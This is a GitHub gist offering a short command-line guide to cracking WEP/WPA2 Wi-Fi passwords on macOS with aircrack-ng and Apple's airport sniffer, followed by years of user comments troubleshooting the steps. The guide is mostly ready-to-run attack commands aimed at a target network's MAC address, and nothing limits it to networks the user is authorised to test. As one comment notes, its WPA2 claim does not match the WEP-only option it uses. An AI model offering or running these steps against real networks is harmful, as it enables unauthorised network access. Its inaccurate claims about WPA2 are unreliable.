Skip to content

Instantly share code, notes, and snippets.

@victorreyesh

victorreyesh/Aircrack Commands

Created Sep 12, 2013
Star
Embed
What would you like to do?
Learn more about clone URLs
Download ZIP
Cracking WPA2 / WEP Wifi / Aircrack 10 seconds guide. For Mac OSX
Raw
Aircrack Commands
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@jQrgen

This comment has been minimized.

Sign in to view
Copy link

@jQrgen jQrgen commented Jan 12, 2017

Change symling to:

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ref: http://stackoverflow.com/questions/33223457/mac-osx-el-capitan-airport-sym-link-not-permitted
@rafahigueros

This comment has been minimized.

Sign in to view
Copy link

@rafahigueros rafahigueros commented Jan 27, 2017

will this actually work with WPA networks? "-a 1" specifies for WEP, and WAP cracking requires dictionaries (-w option)
@qfq8wf77qwf8

This comment has been minimized.

Sign in to view
Copy link

@qfq8wf77qwf8 qfq8wf77qwf8 commented Apr 2, 2017

What if you installed via brew?
@jwsi

This comment has been minimized.

Sign in to view
Copy link

@jwsi jwsi commented Apr 17, 2017

brew install aircrack-ng
@immysam

This comment has been minimized.

Sign in to view
Copy link

@immysam immysam commented Jun 28, 2017

i didn't got access after step 10 i.e. 11 ,12 and 13 are not applicable
help me pls my mac is showing aircrack-ng command not found after step 12 aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
@immysam

This comment has been minimized.

Sign in to view
Copy link

@immysam immysam commented Jun 28, 2017

help me pls anybody????
@ldelcampof

This comment has been minimized.

Sign in to view
Copy link

@ldelcampof ldelcampof commented Jul 15, 2017

this commands help me @immysam

export PATH=$PATH:/opt/local/bin
export MANPATH=$MANPATH:/opt/local/share/man
export INFOPATH=$INFOPATH:/opt/local/share/info
@mfd

This comment has been minimized.

Sign in to view
Copy link

@mfd mfd commented Jul 25, 2017

@immysam check your network interface
$ networksetup listallhardwareports
@sonu628

This comment has been minimized.

Sign in to view
Copy link

@sonu628 sonu628 commented Jul 30, 2017

I am getting this
`
Attack failed. Possible reasons:

 * Out of luck: you must capture more IVs. Usually, 104-bit WEP
   can be cracked with about 80.000 IVs, sometimes more.

 * Try to raise the fudge factor (-f).

Please specify a dictionary (option -w).`
@simplenotezy

This comment has been minimized.

Sign in to view
Copy link

@simplenotezy simplenotezy commented Oct 1, 2017

Running sudo airport en1 sniff 1 does not work. Simply displays the help message.
@unix-root

This comment has been minimized.

Sign in to view
Copy link

@unix-root unix-root commented Oct 10, 2017

^ +1
@Emixam23

This comment has been minimized.

Sign in to view
Copy link

@Emixam23 Emixam23 commented Oct 17, 2017

Why does it display the commands? I'm not sure to understand
@Emixam23

This comment has been minimized.

Sign in to view
Copy link

@Emixam23 Emixam23 commented Oct 18, 2017

Guys maybe it's because de paramaters aren't correct?
@Emixam23

This comment has been minimized.

Sign in to view
Copy link

@Emixam23 Emixam23 commented Oct 18, 2017

So stupid, I found why it happens.

Based on [THIS LINK], it seems like en1 is the interface of Wireless only when you have an ethernet port. On my MacBook Pro, I don't, so en0 is the only one I have !

sudo airport en0 sniff [CHANNEL]

Hopefully it helps !
@Gaaal

This comment has been minimized.

Sign in to view
Copy link

@Gaaal Gaaal commented Oct 21, 2017

How do I add a dictionary? Is Jack the Ripper good enough?
@cyberfunk

This comment has been minimized.

Sign in to view
Copy link

@cyberfunk cyberfunk commented Oct 21, 2017

Hello how do I sniff with airport and use aircrack-ng using an Alfa AWUS036AC USB 3.0 adapter on a MacBook Pro? When I type ifconfig in Terminal my USB wifi adapter doesn't show up.
@hanhmr

This comment has been minimized.

Sign in to view
Copy link

@hanhmr hanhmr commented Oct 30, 2017

Dear admin,

How to see CAP_FILE? I have try to understand noted: the cap_file will be located in the /tmp/airportSniff*.cap. but don't know how to see them, pls help!

Thanks a lot

(aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
@VhaTer

This comment has been minimized.

Sign in to view
Copy link

@VhaTer VhaTer commented Dec 3, 2017 •
edited

-i got a macbook air and guess i ask my self same thing how to do kali stuff natively on macos why im here

perhaps you already find this
1- http://jason4zhu.blogspot.fr/2014/12/crack-wep-wifi-via-aircrack-ng-in-mac-osx.html
2- https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html ( this article Link to your Notes Here ^^)
@RahulDhiman93

This comment has been minimized.

Sign in to view
Copy link

@RahulDhiman93 RahulDhiman93 commented Dec 14, 2017 •
edited

symlink is not working
NO SUCH FILE OR DIRECTORY
@psyycopatart

This comment has been minimized.

Sign in to view
Copy link

@psyycopatart psyycopatart commented Jan 7, 2018

It say : No valid WPA handshakes found.
What can i do ? :(
@jpacora

This comment has been minimized.

Sign in to view
Copy link

@jpacora jpacora commented Jan 28, 2018

The command will be:

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
@MrPeker

This comment has been minimized.

Sign in to view
Copy link

@MrPeker MrPeker commented Feb 1, 2018

airport command not found :/
@chezis45

This comment has been minimized.

Sign in to view
Copy link

@chezis45 chezis45 commented Feb 9, 2018 •
edited

sudo su -
ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport

Worked for me when I got airport command not found and operation not possible.
@weltmoasta

This comment has been minimized.

Sign in to view
Copy link

@weltmoasta weltmoasta commented Feb 19, 2018

i cant find the Cap_File because i have no folder like tmp. can anyone help me pls?
@char543

This comment has been minimized.

Sign in to view
Copy link

@char543 char543 commented Feb 21, 2018

@weltmoasta navigate to /tmp in finder
@char543

This comment has been minimized.

Sign in to view
Copy link

@char543 char543 commented Feb 21, 2018

also make sure youre typing .cap and not .cap. (the extra dot is what threw me)
@AramSemerjyan

This comment has been minimized.

Sign in to view
Copy link

@AramSemerjyan AramSemerjyan commented Mar 27, 2018 •
edited

Mac has built in sniffer for getting handshakes, why airport is needed for that? Also I'm wondering is the aircrack mechanism based on getting handshakes and after try to recover password from hccapx with hashcat?
@iamsoorajsingh

This comment has been minimized.

Sign in to view
Copy link

@iamsoorajsingh iamsoorajsingh commented May 11, 2018

command not found
@chovy

This comment has been minimized.

Sign in to view
Copy link

@chovy chovy commented Jul 21, 2018

what is the target mac address?
@Eastkap

This comment has been minimized.

Sign in to view
Copy link

@Eastkap Eastkap commented Aug 12, 2018

mac address is the same as bssid @chovy
@Tetsu51718

This comment has been minimized.

Sign in to view
Copy link

@Tetsu51718 Tetsu51718 commented Oct 8, 2018

can"t find [CAP_FILE]
pls help
@Tetsu51718

This comment has been minimized.

Sign in to view
Copy link

@Tetsu51718 Tetsu51718 commented Oct 8, 2018

$ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
ln: /usr/local/bin/airport: File exists
$ aircrack-ng -1 -a 1 -b
-bash: aircrack-ng: command not found
$ brew install aircrack-ng
Warning: aircrack-ng 1.4 is already installed, it's just not linked
You can use brew link aircrack-ng to link this version.
$ brew link aircrack-ng
Linking /usr/local/Cellar/aircrack-ng/1.4...
Error: Could not symlink sbin/airbase-ng
/usr/local/sbin is not writable.

what should do,, pls
@DamonOnYT

This comment has been minimized.

Sign in to view
Copy link

@DamonOnYT DamonOnYT commented Nov 18, 2018 •
edited

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

says "ln: /usr/sbin/airport: Operation not permitted"
@DamonOnYT

This comment has been minimized.

Sign in to view
Copy link

@DamonOnYT DamonOnYT commented Nov 18, 2018

quick google solved it

for anyone w/ the same issue the command is

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
@mzychinav

This comment has been minimized.

Sign in to view
Copy link

@mzychinav mzychinav commented Nov 23, 2018

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?
@madmike121989

This comment has been minimized.

Sign in to view
Copy link

@madmike121989 madmike121989 commented Dec 21, 2018

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution? i'm having the same issue
@fungmen

This comment has been minimized.

Sign in to view
Copy link

@fungmen fungmen commented Jan 9, 2019

more easy when i'm installing kali on macbook air, i can scan and crack the handshake more faster beside debugging the OSX ^_^!
@mikediachenko

This comment has been minimized.

Sign in to view
Copy link

@mikediachenko mikediachenko commented Mar 23, 2019

MacOS Mojave 10.14.1 failed got the replay "Segmentations Fault 11" message when proceed "airport en0 sniff", anyone got the solution?

The same stuff.
@SeunghunSunmoonLee

This comment has been minimized.

Sign in to view
Copy link

@SeunghunSunmoonLee SeunghunSunmoonLee commented Aug 8, 2019 •
edited

First attempt failed.
➜ Clients airport en0 sniff 4
Could not open device en0 (en0: You don't have permission to capture on that device ((cannot open BPF device) /dev/bpf0: Permission denied)).

Second attempt failed
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
tcpdump: en1: That device doesn't support monitor mode
@khyanatun

This comment has been minimized.

Sign in to view
Copy link

@khyanatun khyanatun commented Feb 15, 2020

$aircrack-ng -1 -a 1 -b "Mac address" "CAP_FILE"
Reading packets, please wait...
Opening "CAP_FILE"
Failed to open "CAP_FILE' : No such file or directory

someone, please help cap file won't open
@SenorReyez

This comment has been minimized.

Sign in to view
Copy link

@SenorReyez SenorReyez commented Mar 3, 2020

You need to define "CAP_FILE" as the path example /path/to/cap_file.cap
@lmancini1

This comment has been minimized.

Sign in to view
Copy link

@lmancini1 lmancini1 commented Apr 5, 2020

what is the path to the cap file I cant find a top folder with airportsniff in it
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment